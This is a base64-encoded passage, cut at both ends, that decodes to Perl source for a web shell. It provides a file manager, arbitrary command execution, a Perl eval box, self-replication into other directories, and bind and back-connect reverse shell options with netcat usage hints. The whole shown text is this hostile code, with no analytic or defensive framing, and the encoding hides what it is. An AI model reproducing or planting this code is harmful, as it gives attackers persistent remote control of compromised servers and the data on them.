YnRuQ29ubmVjdCd9KSl7DQoJJHBvcnQgPSAkX1ZBUnsnYnBvcnRDJ307DQoJJGRpciA9ICZ4Y2xlYW5wYXRoKCRfVkFSeydkaXInfSk7DQoJaWYoJmlzX3dpbigpKSB7DQoJCSRiYXNlNjQgPSAkd0JpbmQ7DQoJfQ0KCWVsc2Ugew0KCQkkYmFzZTY0ID0gJHhCYWNrOw0KCX0NCg0KCWlmKCZ4cnVuZXhwbG9pdCgkZGlyLCRiYXNlNjQsJHBvcnQsImNvbm5lY3QiKSl7DQoNCgl9DQp9DQplbHNpZihkZWZpbmVkKCRfVkFSeydidG5MaXN0ZW4nfSkpew0KCSRwb3J0ID0gJF9WQVJ7J2xwb3J0Qyd9Ow0KCSRkaXIgPSAmeGNsZWFucGF0aCgkX1ZBUnsnZGlyJ30pOw0KCWlmKCZpc193aW4oKSl7DQoJCSRiYXNlNjQgPSAkd0JpbmQ7DQoJfQ0KCWVsc2V7DQoJCSRiYXNlNjQgPSAkeEJpbmQ7DQoJfQ0KDQoJaWYoJnhydW5leHBsb2l0KCRkaXIsJGJhc2U2NCwkcG9ydCwibGlzdGVuIikpew0KDQoJfQ0KfQ0KaWYoZGVmaW5lZCgkX1ZBUnsnZGlyJ30pICYmICgkX1ZBUnsnZGlyJ30gbmUgIiIpKXsNCgkkbmV3ZGlyID0gJnhjbGVhbnBhdGgoJnRyaW0oJF9WQVJ7J2Rpcid9KSk7DQoJaWYoZGVmaW5lZCgkX1ZBUnsnb2xkZmlsZW5hbWUnfSkgJiYgKCRfVkFSeydvbGRmaWxlbmFtZSd9IG5lICIiKSl7DQoJCSRuZXdkaXIgPSAmZGlybmFtZSgmdHJpbSgkX1ZBUnsncHJvcGVydGllcyd9KSk7DQoJfQ0KCWlmKGRlZmluZWQoJF9WQVJ7J2J0bk5ld1VwbG9hZExvY2FsJ30pKXsNCgkJJGZpbGVjb24gPSAkX1ZBUnsnZmlsZWxvY2FsJ307DQoJCWlmKGRlZmluZWQoJF9WQVJ7J2ZpbGVuYW1lJ30pKXsNCgkJCSRmaWxlbmFtZSA9ICZ0cmltKCRfVkFSeydmaWxlbmFtZSd9KTsNCgkJCWlmKCRmaWxlbmFtZSBlcSAiIil7DQoJCQkJJGZpbGVuYW1lID0gJF9WQVJ7J3VwbG9hZG5hbWUnfTsNCgkJCX0NCgkJfQ0KCQllbHNlew0KCQkJJGZpbGVuYW1lID0gJnRyaW0oJF9WQVJ7J3VwbG9hZG5hbWUnfSk7DQoJCX0NCgkJJnhmaWxlc2F2ZSgkbmV3ZGlyLiRmaWxlbmFtZSwkZmlsZWNvbik7DQoJCXByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOw0KCQlwcmludCAkbmV3ZGlyLiRmaWxlbmFtZTsNCgl9DQoJaWYoLWQgJG5ld2Rpcil7DQoJCWNoZGlyKCRuZXdkaXIpOw0KCQkkeEN3ZCA9ICRuZXdkaXI7DQoJfQ0KCWVsc2V7DQoJCSRuZXdkaXIgPSAmZGlybmFtZSgkbmV3ZGlyKTsNCgkJaWYoLWQgJG5ld2Rpcil7DQoJCQljaGRpcigkbmV3ZGlyKTsNCgkJCSR4Q3dkID0gJG5ld2RpcjsNCgkJfQ0KCX0NCglpZihkZWZpbmVkKCRfVkFSeydmb2xkZXJuYW1lJ30pICYmICgkX1ZBUnsnZm9sZGVybmFtZSd9IG5lICIiKSl7DQoJCSRmbmFtZSA9ICZ4Y2xlYW5wYXRoKCRfVkFSeydmb2xkZXJuYW1lJ30pOw0KCQlta2RpcigkbmV3ZGlyLiRmbmFtZSk7DQoJfQ0KCWVsc2lmKGRlZmluZWQoJF9WQVJ7J2RlbCd9KSAmJiAoJF9WQVJ7J2RlbCd9IG5lICIiKSl7DQoJCSRmZGVsID0gJF9WQVJ7J2RlbCd9Ow0KCQlpZigtZiAkZmRlbCl7DQoJCQl1bmxpbmsoJGZkZWwpOw0KCQl9DQoJCWVsc2lmKC1kICRmZGVsKXsNCgkJCSZ4cm1kaXIoJGZkZWwpOw0KCQkJJG5ld2RpciA9IHhwYXJlbnRmb2xkZXIoJG5ld2Rpcik7DQoJCX0NCgl9DQoJZWxzaWYoZGVmaW5lZCgkX1ZBUnsnY2hpbGRuYW1lJ30pICYmICgkX1ZBUnsnY2hpbGRuYW1lJ30gbmUgIiIpKXsNCgkJJGNoaWxkbmFtZSA9ICRuZXdkaXIuJnRyaW0oJF9WQVJ7J2NoaWxkbmFtZSd9KTsNCgkJJGNvbiA9ICZ4ZmlsZW9wZW4oJEVOVnsnU0NSSVBUX0ZJTEVOQU1FJ30sMSk7DQoJCSZ4ZmlsZXNhdmUoJGNoaWxkbmFtZSwkY29uKTsNCgl9DQp9DQppZihkZWZpbmVkKCRfVkFSeydjbWQnfSkgJiYgKCRfVkFSeydjbWQnfSBuZSAiIikpew0KCSRjbWQgPSAkX1ZBUnsnY21kJ307DQoJJHhDd2QgPSAmdHJpbSgkX1ZBUnsnZGlyJ30pOw0KCWlmKCRjbWQgPX4gbS9eY2QoLiopJC9pKXsNCgkJJG5ld2RpciA9ICZ0cmltKCQxKTsNCgkJaWYoJG5ld2RpciBlcSAiLi4iKXsNCgkJCSRuZXdkaXIgPSAmeHBhcmVudGZvbGRlcigkeEN3ZCk7DQoJCX0NCgkJZWxzaWYoJG5ld2RpciBlcSAiLiIpew0KCQkJJG5ld2RpciA9ICR4Q3dkOw0KCQl9DQoJCWVsc2lmKCRuZXdkaXIgPX4gbS86Lyl7DQoJCQkkbmV3ZGlyID0gJG5ld2RpcjsNCgkJfQ0KCQllbHNlew0KCQkJJG5ld2RpciA9ICR4Q3dkLiRuZXdkaXI7DQoJCX0NCgkJaWYoLWUgJG5ld2Rpcikgew0KCQkJY2hkaXIoJG5ld2Rpcik7DQoJCQkkeEN3ZCA9ICRuZXdkaXI7DQoJCX0NCgkJJHJlc3VsdCA9ICZ4ZGlyKCR4Q3dkKTsNCgl9DQoJZWxzaWYoJGNtZCA9fiBtL14oXHd7MX06LiopJC9pKXsNCgkJJG5ld2RpciA9ICZ0cmltKCQxKTsNCgkJaWYoLWUgJG5ld2Rpcil7DQoJCQljaGRpcigkbmV3ZGlyKTsNCgkJCSR4Q3dkID0gJG5ld2RpcjsNCgkJfQ0KCQkkcmVzdWx0ID0gJnhkaXIoJHhDd2QpOw0KCX0NCgllbHNlIHsNCgkJJHJlc3VsdCA9ICZla3NlKCRjbWQpOw0KCQlpZigkcmVzdWx0IG5lICIiKSB7DQoJCQkkcmVzdWx0ID0gJmh0bWxzcGVjaWFsY2hhcnMoJHJlc3VsdCk7DQoJCQkkcmVzdWx0ID1+IHMvIC8mbmJzcDsvZzsNCgkJCSRyZXN1bHQgPSAmbmwyYnIoJHJlc3VsdCk7DQoJCX0NCgkJZWxzZSB7DQoJCQkkcmVzdWx0ID0gJnhkaXIoJHhDd2QpOw0KCQl9DQoJfQ0KfQ0KZWxzaWYoZGVmaW5lZCgkX1ZBUnsnZXZhbCd9KSAmJiAoJF9WQVJ7J2V2YWwnfSBuZSAiIikpew0KCSRjbWRldmFsID0gJF9WQVJ7J2V2YWwnfTsNCgkkcmVzdWx0ID0gJmh0bWxzcGVjaWFsY2hhcnMoJnhldmFsKCRfVkFSeydldmFsJ30pKTsNCn0NCmVsc2lmKGRlZmluZWQoJF9WQVJ7J3Byb3BlcnRpZXMnfSkgJiYgKCRfVkFSeydwcm9wZXJ0aWVzJ30gbmUgIiIpKXsNCgkkZm5hbWUgPSAmdHJpbSgkX1ZBUnsncHJvcGVydGllcyd9KTsNCgkkZGlyID0gJnRyaW0oJF9WQVJ7J2Rpcid9KTsNCglpZihkZWZpbmVkKCRfVkFSeydvbGRmaWxlbmFtZSd9KSAmJiAoJF9WQVJ7J29sZGZpbGVuYW1lJ30gbmUgIiIpKXsNCgkJJG9sZG5hbWUgPSAmdHJpbSgkX1ZBUnsnb2xkZmlsZW5hbWUnfSk7DQoJCXJlbmFtZSgkb2xkbmFtZSwkZm5hbWUpOw0KCX0NCgkkZmNvbnQgPSAiIjsNCgkkZnZpZXcgPSAiIjsNCglpZigtZCAkZm5hbWUpew0KCQkkZnNpemUgPSAiRElSIjsNCgkJJGZjb250ID0gJnhkaXIoJGZuYW1lKTsNCgkJJGZhY3Rpb24gPSAiPGEgaHJlZj1cIj9kaXI9Ii4meGNsZWFucGF0aCgkZm5hbWUpLiImcHJvcGVydGllcz0iLiZ4Y2xlYW5wYXRoKCRmbmFtZSkuIlwiPlByb3BlcnRpZXM8L2E+IHwgPGEgaHJlZj1cIj9kaXI9Ii4meGNsZWFucGF0aCh4cGFyZW50Zm9sZGVyKCRmbmFtZSkpLiImZGVsPSIuJnhjbGVhbnBhdGgoJGZuYW1lKS4iXCI+UmVtb3ZlPC9hPiI7DQoNCgl9DQoJZWxzZXsNCgkJJGZuYW1lID0gdHJpbXNsYXNoZXMoJGZuYW1lKTsNCgkJJGZzaXplID0gJnhwYXJzZWZpbGVzaXplKCZ4ZmlsZXNpemUoJGZuYW1lKSkuIiA8c3BhbiBjbGFzcz1cImdhdWxcIj4oIDwvc3Bhbj4iLiZ4ZmlsZXNpemUoJGZuYW1lKS4iIGJ5dGVzPHNwYW4gY2xhc3M9XCJnYXVsXCI+ICk8L3NwYW4+IjsNCgkJJHR5cGUgPSAidGV4dCI7DQoJCWlmKGRlZmluZWQoJF9WQVJ7J3R5cGUnfSkpew0KCQkJJHR5cGUgPSAmdHJpbSgkX1ZBUnsndHlwZSd9KTsNCgkJfQ0KCQlpZigkdHlwZSBlcSAnaW1nJyl7DQoJCQkkaW1nbGluayA9ICI8cD48YSBocmVmPVwiP2ltZz0iLiRmbmFtZS4iXCIgdGFyZ2V0PVwiX2JsYW5rXCI+PHNwYW4gY2xhc3M9XCJnYXVsXCI+WyA8L3NwYW4+dmlldyBmdWxsIHNpemU8c3BhbiBjbGFzcz1cImdhdWxcIj4gXTwvc3Bhbj48L2E+PC9wPiI7DQoJCQkkZmNvbnQgPSAiPGRpdiBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO3dpZHRoOjEwMCU7XCI+Ii4kaW1nbGluay4iPGltZyB3aWR0aD1cIjgwMFwiIHNyYz1cIj9pbWc9Ii4kZm5hbWUuIlwiIGFsdD1cIlwiIHN0eWxlPVwibWFyZ2luOjhweCBhdXRvO3BhZGRpbmc6MDtib3JkZXI6MDtcIiAvPjwvZGl2PiI7DQoJCX0NCgkJZWxzZSB7DQoJCQkkY29kZSA9ICZodG1sc3BlY2lhbGNoYXJzKCZ4ZmlsZW9wZW4oJGZuYW1lLDApKTsNCgkJCSRmY29udCA9ICI8ZGl2IGNsYXNzPVwiYm94Y29kZVwiPiIuJm5sMmJyKCRjb2RlKS4iPC9kaXY+IjsNCgkJfQ0KCQkkZmFjdGlvbiA9ICI8YSBocmVmPVwiP2Rpcj0iLiZ4Y2xlYW5wYXRoKCRkaXIpLiImdmlldz0iLiRmbmFtZS4iXCI+RWRpdDwvYT4gfCA8YSBocmVmPVwiP2dldD0iLiRmbmFtZS4iXCI+RG93bmxvYWQ8L2E+IHwgPGEgaHJlZj1cIj9kaXI9Ii4meGNsZWFucGF0aCgkZGlyKS4iJmRlbD0iLiRmbmFtZS4iXCI+UmVtb3ZlPC9hPiI7DQoJCSRmdmlldyA9ICI8YSBocmVmPVwiP2Rpcj0iLiZ4Y2xlYW5wYXRoKCRkaXIpLiImcHJvcGVydGllcz0iLiRmbmFtZS4iJnR5cGU9dGV4dFwiPjxzcGFuIGNsYXNzPVwiZ2F1bFwiPlsgPC9zcGFuPnRleHQ8c3BhbiBjbGFzcz1cImdhdWxcIj4gXTwvc3Bhbj48L2E+PGEgaHJlZj1cIj9kaXI9Ii4meGNsZWFucGF0aCgkZGlyKS4iJnByb3BlcnRpZXM9Ii4kZm5hbWUuIiZ0eXBlPWltZ1wiPjxzcGFuIGNsYXNzPVwiZ2F1bFwiPlsgPC9zcGFuPmltYWdlPHNwYW4gY2xhc3M9XCJnYXVsXCI+IF08L3NwYW4+PC9hPiI7DQoJfQ0KCSRmb3duZXIgPSAmeGZpbGVvd25lcigkZm5hbWUpOw0KCSRmcGVybSA9ICZ4ZmlsZXBlcm1zKCRmbmFtZSk7DQoJQG1vbnRoID0gcXcvSmFuIEZlYiBNYXIgQXByIE1heSBKdW4gSnVsIEF1ZyBTZXAgT2N0IE5vdiBEZWMvOw0KCSgkbGEsJGxtLCRsYykgPSAoc3RhdCgkZm5hbWUpKVs4LDksMTBdOw0KCSgkZCwkbSwkeSwkaCwkaSkgPSAobG9jYWx0aW1lKCRsbSkpWzMsNCw1LDIsMV07DQoJJHkgPSAkeSArIDE5MDA7DQoJJGxtdGltZSA9IHNwcmludGYoIiUwMmQtJXMtJTRkICUwMmQ6JTAyZCIsJGQsJG1vbnRoWyRtXSwkeSwkaCwkaSk7DQoJKCRkLCRtLCR5LCRoLCRpKSA9IChsb2NhbHRpbWUoJGxhKSlbMyw0LDUsMiwxXTsNCgkkeSA9ICR5ICsgMTkwMDsNCgkkbGF0aW1lID0gc3ByaW50ZigiJTAyZC0lcy0lNGQgJTAyZDolMDJkIiwkZCwkbW9udGhbJG1dLCR5LCRoLCRpKTsNCgkoJGQsJG0sJHksJGgsJGkpID0gKGxvY2FsdGltZSgkbGMpKVszLDQsNSwyLDFdOw0KCSR5ID0gJHkgKyAxOTAwOw0KCSRjdGltZSA9IHNwcmludGYoIiUwMmQtJXMtJTRkICUwMmQ6JTAyZCIsJGQsJG1vbnRoWyRtXSwkeSwkaCwkaSk7DQoJJHJlc3VsdCA9ICI8ZGl2IHN0eWxlPVwiZGlzcGxheTppbmxpbmU7XCI+DQoJPGZvcm0gYWN0aW9uPVwiP1wiIG1ldGhvZD1cImdldFwiIHN0eWxlPVwibWFyZ2luOjA7cGFkZGluZzoxcHggOHB4O3RleHQtYWxpZ246bGVmdDtcIj4NCgk8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJkaXJcIiB2YWx1ZT1cIiIuJGRpci4iXCIgLz4NCgk8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJvbGRmaWxlbmFtZVwiIHZhbHVlPVwiIi4kZm5hbWUuIlwiIC8+Ii4kZmFjdGlvbi4iIHwNCgk8c3Bhbj48aW5wdXQgc3R5bGU9XCJ3aWR0aDo1MCU7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwicHJvcGVydGllc1wiIHZhbHVlPVwiIi4kZm5hbWUuIlwiIC8+DQoJPGlucHV0IHN0eWxlPVwid2lkdGg6MTIwcHhcIiBjbGFzcz1cImJ0blwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiYnRuUmVuYW1lXCIgdmFsdWU9XCJSZW5hbWVcIiAvPg0KCTwvc3Bhbj4NCgk8ZGl2IGNsYXNzPVwiZnByb3BcIj4NCglTaXplID0gIi4kZnNpemUuIjxiciAvPg0KCU93bmVyID0gPHNwYW4gY2xhc3M9XCJnYXVsXCI+KCA8L3NwYW4+Ii4kZm93bmVyLiI8c3BhbiBjbGFzcz1cImdhdWxcIj4gKTwvc3Bhbj48YnIgLz4NCglQZXJtaXNzaW9uID0gPHNwYW4gY2xhc3M9XCJnYXVsXCI+KCA8L3NwYW4+Ii4kZnBlcm0uIjxzcGFuIGNsYXNzPVwiZ2F1bFwiPiApPC9zcGFuPjxiciAvPg0KCUNyZWF0ZSBUaW1lID0gPHNwYW4gY2xhc3M9XCJnYXVsXCI+KCA8L3NwYW4+Ii4kY3RpbWUuIjxzcGFuIGNsYXNzPVwiZ2F1bFwiPiApPC9zcGFuPjxiciAvPg0KCUxhc3QgTW9kaWZpZWQgPSA8c3BhbiBjbGFzcz1cImdhdWxcIj4oIDwvc3Bhbj4iLiRsbXRpbWUuIjxzcGFuIGNsYXNzPVwiZ2F1bFwiPiApPC9zcGFuPjxiciAvPg0KCUxhc3QgQWNjZXNzZWQgPSA8c3BhbiBjbGFzcz1cImdhdWxcIj4oIDwvc3Bhbj4iLiRsYXRpbWUuIjxzcGFuIGNsYXNzPVwiZ2F1bFwiPiApPC9zcGFuPjxiciAvPg0KCSIuJGZ2aWV3LiINCgk8L2Rpdj4NCgkiLiRmY29udC4iDQoJPC9mb3JtPg0KCTwvZGl2Pg0KCSI7DQp9DQplbHNpZigoZGVmaW5lZCgkX1ZBUnsndmlldyd9KSAmJiAoJF9WQVJ7J3ZpZXcnfSBuZSAiIikpIHx8ICgoZGVmaW5lZCgkX1ZBUnsnZmlsZW5hbWUnfSkgJiYgKCRfVkFSeydmaWxlbmFtZSd9IG5lICIiKSkpKXsNCgkkbXNnID0gIiI7DQoJaWYoZGVmaW5lZCgkX1ZBUnsnc2F2ZSd9KSl7DQoJCSRmaWxlID0gJnRyaW0oJF9WQVJ7J3NhdmVhcyd9KTsNCgkJJGNvbnRlbnQgPSAkX1ZBUnsnZmlsZXNvdXJjZSd9Ow0KCQlpZigmeGZpbGVzYXZlKCRmaWxlLCRjb250ZW50KSl7DQoJCQkkcGVzYW4gPSAiRmlsZSBTYXZlZCI7DQoJCX0NCgkJZWxzZXsNCgkJCSRwZXNhbiA9ICJGYWlsZWQgdG8gc2F2ZSBmaWxlIjsNCgkJfQ0KCQkkbXNnID0gIjxzcGFuIHN0eWxlPVwiZmxvYXQ6cmlnaHQ7XCI+PHNwYW4gY2xhc3M9XCJnYXVsXCI+WyA8L3NwYW4+Ii4kcGVzYW4uIjxzcGFuIGNsYXNzPVwiZ2F1bFwiPiBdPC9zcGFuPjwvc3Bhbj4iOw0KCX0NCgllbHNlIHsNCgkJaWYoZGVmaW5lZCgkX1ZBUnsndmlldyd9KSAmJiAoJF9WQVJ7J3ZpZXcnfSBuZSAiIikpew0KCQkJJGZpbGUgPSAmdHJpbSgkX1ZBUnsndmlldyd9KTsNCgkJfQ0KCQllbHNlew0KCQkJJGZpbGUgPSAkeEN3ZC4mdHJpbSgkX1ZBUnsnZmlsZW5hbWUnfSk7DQoJCX0NCgl9DQoJJHJlc3VsdCA9ICZ4ZmlsZW9wZW4oJGZpbGUsMCk7DQoJJHJlc3VsdCA9ICZodG1sc3BlY2lhbGNoYXJzKCRyZXN1bHQpOw0KCSRyZXN1bHQgPSAiDQoJPHAgc3R5bGU9XCJwYWRkaW5nOjA7bWFyZ2luOjA7dGV4dC1hbGlnbjpsZWZ0O1wiPjxhIGhyZWY9XCI/ZGlyPSIuJHhDd2QuIiZwcm9wZXJ0aWVzPSIuJGZpbGUuIlwiPiIuJnhmaWxlc3VtbWFyeSgkZmlsZSkuIjwvYT4iLiRtc2cuIjwvcD48ZGl2IHN0eWxlPVwiY2xlYXI6Ym90aDttYXJnaW46MDtwYWRkaW5nOjA7XCI+PC9kaXY+DQoJPGZvcm0gYWN0aW9uPVwiP2Rpcj0iLiR4Q3dkLiImdmlldz0iLiRmaWxlLiImc2F2ZT1TYXZlIEFzXCIgbWV0aG9kPVwicG9zdFwiPg0KPHRleHRhcmVhIG5hbWU9XCJmaWxlc291cmNlXCIgc3R5bGU9XCJ3aWR0aDoxMDAlO2hlaWdodDoyMDBweDtcIj4iLiRyZXN1bHQuIjwvdGV4dGFyZWE+DQoJPGlucHV0IHR5cGU9XCJ0ZXh0XCIgc3R5bGU9XCJ3aWR0aDo4MCU7XCIgIG5hbWU9XCJzYXZlYXNcIiB2YWx1ZT1cIiIuJGZpbGUuIlwiIC8+DQoJPGlucHV0IHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0blwiIHN0eWxlPVwid2lkdGg6MTIwcHg7XCIgbmFtZT1cInNhdmVcIiB2YWx1ZT1cIlNhdmUgQXNcIiAvPg0KCTwvZm9ybT4NCgkiOw0KfQ0KZWxzZXsNCgkkcmVzdWx0ID0gJnhkaXIoJHhDd2QpOw0KfQ0KDQokeEN3ZCA9IHhjbGVhbnBhdGgoJHhDd2QpOw0KaWYoJGF1dGgpew0KCWlmKGRlZmluZWQoJF9WQVJ7J2Jwb3J0Qyd9KSkgeyAkYnBvcnRDID0gJF9WQVJ7J2Jwb3J0Qyd9OyB9DQoJZWxzZSB7ICRicG9ydEMgPSAkc2hlbGxfZmF2X3BvcnQ7IH0NCglpZihkZWZpbmVkKCRfVkFSeydscG9ydEMnfSkpIHsgJGxwb3J0QyA9ICRfVkFSeydscG9ydEMnfTsgfQ0KCWVsc2UgeyAkbHBvcnRDID0gJHNoZWxsX2Zhdl9wb3J0OyB9DQoJJGh0bWxfdGl0bGUgPSAkc2hlbGxfdGl0bGUuIiAiLiR4Q3dkOw0KCSRodG1sX2hlYWQgPSAiDQo8dGl0bGU+Ii4kaHRtbF90aXRsZS4iPC90aXRsZT4NCjxsaW5rIHJlbD1cIlNIT1JUQ1VUIElDT05cIiBocmVmPVwiIi4kRU5WeydTQ1JJUFRfTkFNRSd9LiI/aW1nPWljb25cIiAvPg0KIi4kc2hlbGxfc3R5bGUuIg0KPHNjcmlwdCB0eXBlPVwidGV4dC9qYXZhc2NyaXB0XCI+DQpmdW5jdGlvbiB1cGRhdGVJbmZvKGJveGlkLHR5cCl7DQoJaWYodHlwID09IDApew0KCQl2YXIgcG9sYSA9ICdleGFtcGxlOiAodXNpbmcgbmV0Y2F0KSBydW4gJnF1b3Q7bmMgLWwgLXAgX19QT1JUX18mcXVvdDsgYW5kIHRoZW4gcHJlc3MgQ29ubmVjdCc7DQoJfQ0KCWVsc2V7DQoJCXZhciBwb2xhID0gJ2V4YW1wbGU6ICh1c2luZyBuZXRjYXQpIHByZXNzICZxdW90O0xpc3RlbiZxdW90OyBhbmQgdGhlbiBydW4gJnF1b3Q7bmMgIi4keFNlcnZlcklQLiIgX19QT1JUX18mcXVvdDsnOw0KCX0NCg0KCXZhciBwb3J0bnVtID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoYm94aWQpLnZhbHVlOw0KDQoJdmFyIGhhc2lsID0gcG9sYS5yZXBsYWNlKCdfX1BPUlRfXycsIHBvcnRudW0pOw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGJveGlkKydfJykuaW5uZXJIVE1MID0gaGFzaWw7DQp9DQoNCmZ1bmN0aW9uIHNob3coYm94aWQpew0KCXZhciBib3ggPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChib3hpZCk7DQoJaWYoYm94LnN0eWxlLmRpc3BsYXkgIT0gJ2lubGluZScpew0KCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbmV3ZmlsZScpLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7DQoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCduZXdmb2xkZXInKS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOw0KCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbmV3dXBsb2FkJykuc3R5bGUuZGlzcGxheSA9ICdub25lJzsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ25ld2NoaWxkJykuc3R5bGUuZGlzcGxheSA9ICdub25lJzsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ25ld2Nvbm5lY3QnKS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOw0KCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZGl2X2V2YWwnKS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOw0KDQoJCWJveC5zdHlsZS5kaXNwbGF5ID0gJ2lubGluZSc7DQoJCWJveC5mb2N1cygpOw0KCX0NCgllbHNlIGJveC5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOw0KfQ0KZnVuY3Rpb24gaGlnaGxpZ2h0aGV4ZHVtcChhZGRyZXNzKXsNCgl2YXIgdGFyZ2V0ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoYWRkcmVzcyk7DQoJdGFyZ2V0LnN0eWxlLmJhY2tncm91bmQgPSAnIi4kc2hlbGxfY29sb3IuIic7DQp9DQpmdW5jdGlvbiB1bmhpZ2hsaWdodGhleGR1bXAoYWRkcmVzcyl7DQoJdmFyIHRhcmdldCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGFkZHJlc3MpOw0KCXRhcmdldC5zdHlsZS5iYWNrZ3JvdW5kID0gJ25vbmUnOw0KfQ0KPC9zY3JpcHQ+DQoiOw0KJGh0bWxfYm9keSA9ICINCjxkaXYgaWQ9XCJ3cmFwcGVyXCI+DQo8aDEgb25tb3VzZW92ZXI9XCJ0aGlzLnN0eWxlLmN1cnNvcj0ncG9pbnRlcic7dGhpcy5zdHlsZS5jdXJzb3I9J2hhbmQnO1wiICBvbmNsaWNrPVwid2luZG93LmxvY2F0aW9uPSAnPyc7XCI+PGEgaHJlZj1cIj9cIj4iLiRzaGVsbF90aXRsZS4iPC9hPjwvaDE+DQo8ZGl2IGNsYXNzPVwiYm94XCI+Ii4keEhlYWRlci4iDQo8ZGl2IGNsYXNzPVwiZnBhdGhcIj4NCiIuJnhkcml2ZSgpLiINCiIuJnhwYXJzZWRpcigkeEN3ZCkuIg0KPC9kaXY+DQo8ZGl2IGNsYXNzPVwibWVudVwiPg0KPGEgaHJlZj1cImphdmFzY3JpcHQ6c2hvdygnbmV3ZmlsZScpO1wiPjxzcGFuIGNsYXNzPVwiZ2F1bFwiPlsgPC9zcGFuPiBOZXcgRmlsZTxzcGFuIGNsYXNzPVwiZ2F1bFwiPiBdPC9zcGFuPjwvYT4NCjxhIGhyZWY9XCJqYXZhc2NyaXB0OnNob3coJ25ld2ZvbGRlcicpO1wiPjxzcGFuIGNsYXNzPVwiZ2F1bFwiPlsgPC9zcGFuPk5ldyBGb2xkZXI8c3BhbiBjbGFzcz1cImdhdWxcIj4gXTwvc3Bhbj48L2E+DQo8YSBocmVmPVwiamF2YXNjcmlwdDpzaG93KCduZXdjaGlsZCcpO1wiPjxzcGFuIGNsYXNzPVwiZ2F1bFwiPlsgPC9zcGFuPlJlcGxpY2F0ZTxzcGFuIGNsYXNzPVwiZ2F1bFwiPiBdPC9zcGFuPjwvYT4NCjxhIGhyZWY9XCJqYXZhc2NyaXB0OnNob3coJ25ld3VwbG9hZCcpO1wiPjxzcGFuIGNsYXNzPVwiZ2F1bFwiPlsgPC9zcGFuPlVwbG9hZDxzcGFuIGNsYXNzPVwiZ2F1bFwiPiBdPC9zcGFuPjwvYT4NCjxhIGhyZWY9XCJqYXZhc2NyaXB0OnNob3coJ25ld2Nvbm5lY3QnKTtcIj48c3BhbiBjbGFzcz1cImdhdWxcIj5bIDwvc3Bhbj5CaW5kU2hlbGw8c3BhbiBjbGFzcz1cImdhdWxcIj4gXTwvc3Bhbj48L2E+DQo8YSBocmVmPVwiamF2YXNjcmlwdDpzaG93KCdkaXZfZXZhbCcpO1wiPjxzcGFuIGNsYXNzPVwiZ2F1bFwiPlsgPC9zcGFuPlBlcmwgRXZhbDxzcGFuIGNsYXNzPVwiZ2F1bFwiPiBdPC9zcGFuPjwvYT4NCjwvZGl2Pg0KPGRpdiBjbGFzcz1cImhpZGRlblwiIGlkPVwibmV3Y29ubmVjdFwiPg0KPGZvcm0gbWV0aG9kPVwiZ2V0XCIgYWN0aW9uPVwiP1wiIHN0eWxlPVwiZGlzcGxheTppbmxpbmU7bWFyZ2luOjA7cGFkZGluZzowO1wiPg0KPHRhYmxlIGNsYXNzPVwidGJsQm94XCIgc3R5bGU9XCJ3aWR0aDoxMDAlO1wiPg0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiZGlyXCIgdmFsdWU9XCIiLiR4Q3dkLiJcIiAvPg0KPHRyPjx0ZCBzdHlsZT1cIndpZHRoOjEzMHB4O1wiPkJhY2tDb25uZWN0PC90ZD48dGQgc3R5bGU9XCJ3aWR0aDoyMDBweDtcIj4NClBvcnQmbmJzcDs8aW5wdXQgbWF4bGVuZ3RoPVwiNVwiIGlkPVwiYmFja0NcIiBvbmtleXVwPVwidXBkYXRlSW5mbygnYmFja0MnLDApO1wiIHN0eWxlPVwid2lkdGg6NjBweDtcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJicG9ydENcIiB2YWx1ZT1cIiIuJGJwb3J0Qy4iXCIgLz4NCjxpbnB1dCBzdHlsZT1cIndpZHRoOjEwMHB4O1wiIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0blwiIG5hbWU9XCJidG5Db25uZWN0XCIgdmFsdWU9XCJDb25uZWN0XCIgLz4NCjwvdGQ+DQo8dGQ+PHNwYW4gaWQ9XCJiYWNrQ19cIiBjbGFzcz1cIm1zZ2NvblwiPmV4YW1wbGU6ICh1c2luZyBuZXRjYXQpIHJ1biAmcXVvdDtuYyAtbCAtcCAiLiRicG9ydEMuIiZxdW90OyBhbmQgdGhlbiBwcmVzcyBDb25uZWN0PC9zcGFuPjwvdGQ+DQo8L3RyPg0KPHRyPjx0ZD5MaXN0ZW48L3RkPjx0ZD4NClBvcnQmbmJzcDs8aW5wdXQgbWF4bGVuZ3RoPVwiNVwiIGlkPVwibGlzdGVuQ1wiIG9ua2V5dXA9XCJ1cGRhdGVJbmZvKCdsaXN0ZW5DJywxKTtcIiBzdHlsZT1cIndpZHRoOjYwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwibHBvcnRDXCIgdmFsdWU9XCIiLiRscG9ydEMuIlwiIC8+DQo8aW5wdXQgc3R5bGU9XCJ3aWR0aDoxMDBweDtcIiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG5cIiBuYW1lPVwiYnRuTGlzdGVuXCIgdmFsdWU9XCJMaXN0ZW5cIiAvPg0KPC90ZD4NCjx0ZD48c3BhbiBpZD1cImxpc3RlbkNfXCIgY2xhc3M9XCJtc2djb25cIj5leGFt